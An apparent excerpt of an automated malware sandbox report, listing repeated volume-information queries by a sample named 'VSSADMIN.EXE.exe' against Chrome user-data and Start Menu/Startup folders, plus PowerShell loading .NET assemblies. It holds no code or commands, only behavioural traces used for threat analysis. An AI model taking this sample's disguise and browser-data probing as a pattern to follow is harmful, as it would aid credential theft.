Source: C:\Users\user\Desktop\VSSADMIN.EXE.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\VSSADMIN.EXE.exe	Queries volume information: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Accessibility VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\VSSADMIN.EXE.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\VSSADMIN.EXE.exe	Queries volume information: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Accessories VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\VSSADMIN.EXE.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\VSSADMIN.EXE.exe	Queries volume information: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Administrative Tools VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\VSSADMIN.EXE.exe	Queries volume information: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Accessibility VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\VSSADMIN.EXE.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\AutofillStates VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\VSSADMIN.EXE.exe	Queries volume information: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Maintenance VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\VSSADMIN.EXE.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\AutofillStates VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\VSSADMIN.EXE.exe	Queries volume information: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Accessories VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\VSSADMIN.EXE.exe	Queries volume information: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\VSSADMIN.EXE.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\BrowserMetrics VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\VSSADMIN.EXE.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\BrowserMetrics VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\VSSADMIN.EXE.exe	Queries volume information: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Administrative Tools VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\VSSADMIN.EXE.exe	Queries volume information: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\System Tools VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\VSSADMIN.EXE.exe	Queries volume information: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Maintenance VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\VSSADMIN.EXE.exe	Queries volume information: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Windows PowerShell VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\VSSADMIN.EXE.exe	Queries volume information: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\VSSADMIN.EXE.exe	Queries volume information: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\System Tools VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\VSSADMIN.EXE.exe	Queries volume information: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Accessibility VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\VSSADMIN.EXE.exe	Queries volume information: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Windows PowerShell VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\VSSADMIN.EXE.exe	Queries volume information: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Accessories VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\VSSADMIN.EXE.exe	Queries volume information: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Accessories\System Tools VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\VSSADMIN.EXE.exe	Queries volume information: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Accessibility VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\VSSADMIN.EXE.exe	Queries volume information: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Administrative Tools VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\VSSADMIN.EXE.exe	Queries volume information: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Accessories VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\VSSADMIN.EXE.exe	Queries volume information: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\AutoIt v3 VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\VSSADMIN.EXE.exe	Queries volume information: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Accessories\System Tools VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\VSSADMIN.EXE.exe	Queries volume information: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Administrative Tools VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\VSSADMIN.EXE.exe	Queries volume information: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\AutoIt v3 VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\VSSADMIN.EXE.exe	Queries volume information: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\AutoIt v3\Extras VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\VSSADMIN.EXE.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\CertificateRevocation VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\VSSADMIN.EXE.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\CertificateRevocation VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\VSSADMIN.EXE.exe	Queries volume information: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\AutoIt v3\Extras\AutoItX VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\VSSADMIN.EXE.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\ClientSidePhishing VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\VSSADMIN.EXE.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\ClientSidePhishing VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\VSSADMIN.EXE.exe	Queries volume information: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\AutoIt v3\Extras VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\VSSADMIN.EXE.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Crashpad VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\VSSADMIN.EXE.exe	Queries volume information: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Java VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\VSSADMIN.EXE.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Crashpad VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\VSSADMIN.EXE.exe	Queries volume information: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\AutoIt v3\Extras\AutoItX VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\VSSADMIN.EXE.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\AutofillStates VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\VSSADMIN.EXE.exe	Queries volume information: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Maintenance VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\VSSADMIN.EXE.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Crashpad\attachments VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\VSSADMIN.EXE.exe	Queries volume information: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Accessibility VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\VSSADMIN.EXE.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Crashpad\attachments VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\VSSADMIN.EXE.exe	Queries volume information: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Java VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\VSSADMIN.EXE.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\BrowserMetrics VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\VSSADMIN.EXE.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\CertificateRevocation VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\VSSADMIN.EXE.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\ClientSidePhishing VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\VSSADMIN.EXE.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Crashpad VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\VSSADMIN.EXE.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Crashpad\attachments VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\VSSADMIN.EXE.exe	Queries volume information: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Maintenance VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\VSSADMIN.EXE.exe	Queries volume information: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Microsoft Office 2016 Tools VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\VSSADMIN.EXE.exe	Queries volume information: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\VSSADMIN.EXE.exe	Queries volume information: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Accessories VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\VSSADMIN.EXE.exe	Queries volume information: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Administrative Tools VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\VSSADMIN.EXE.exe	Queries volume information: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Maintenance VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\VSSADMIN.EXE.exe	Queries volume information: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\VSSADMIN.EXE.exe	Queries volume information: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\System Tools VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\VSSADMIN.EXE.exe	Queries volume information: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Windows PowerShell VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\VSSADMIN.EXE.exe	Queries volume information: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Microsoft Office 2016 Tools VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\VSSADMIN.EXE.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Crashpad\reports VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\VSSADMIN.EXE.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Crashpad\reports VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\VSSADMIN.EXE.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Crashpad\reports VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\VSSADMIN.EXE.exe	Queries volume information: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Accessibility VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\VSSADMIN.EXE.exe	Queries volume information: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Numerics\v4.0_4.0.0.0__b77a5c561934e089\System.Numerics.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-ds-Package~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-base-Package~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-base-Package~31bf3856ad364e35~amd64~en-US~10.0.17134.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Windows-Defender-Management-Powershell-Group-WOW64-Package~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Windows-Defender-Management-Powershell-Group-WOW64-Package~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Numerics\v4.0_4.0.0.0__b77a5c561934e089\System.Numerics.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-ds-Package~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-base-Package~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-base-Package~31bf3856ad364e35~amd64~en-US~10.0.17134.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Windows-Defender-Management-Powershell-Group-WOW64-Package~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Windows-Defender-Management-Powershell-Group-WOW64-Package~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Numerics\v4.0_4.0.0.0__b77a5c561934e089\System.Numerics.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-ds-Package~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-base-Package~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-base-Package~31bf3856ad364e35~amd64~en-US~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Windows-Defender-Management-Powershell-Group-WOW64-Package~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Windows-Defender-Management-Powershell-Group-WOW64-Package~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Numerics\v4.0_4.0.0.0__b77a5c561934e089\System.Numerics.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
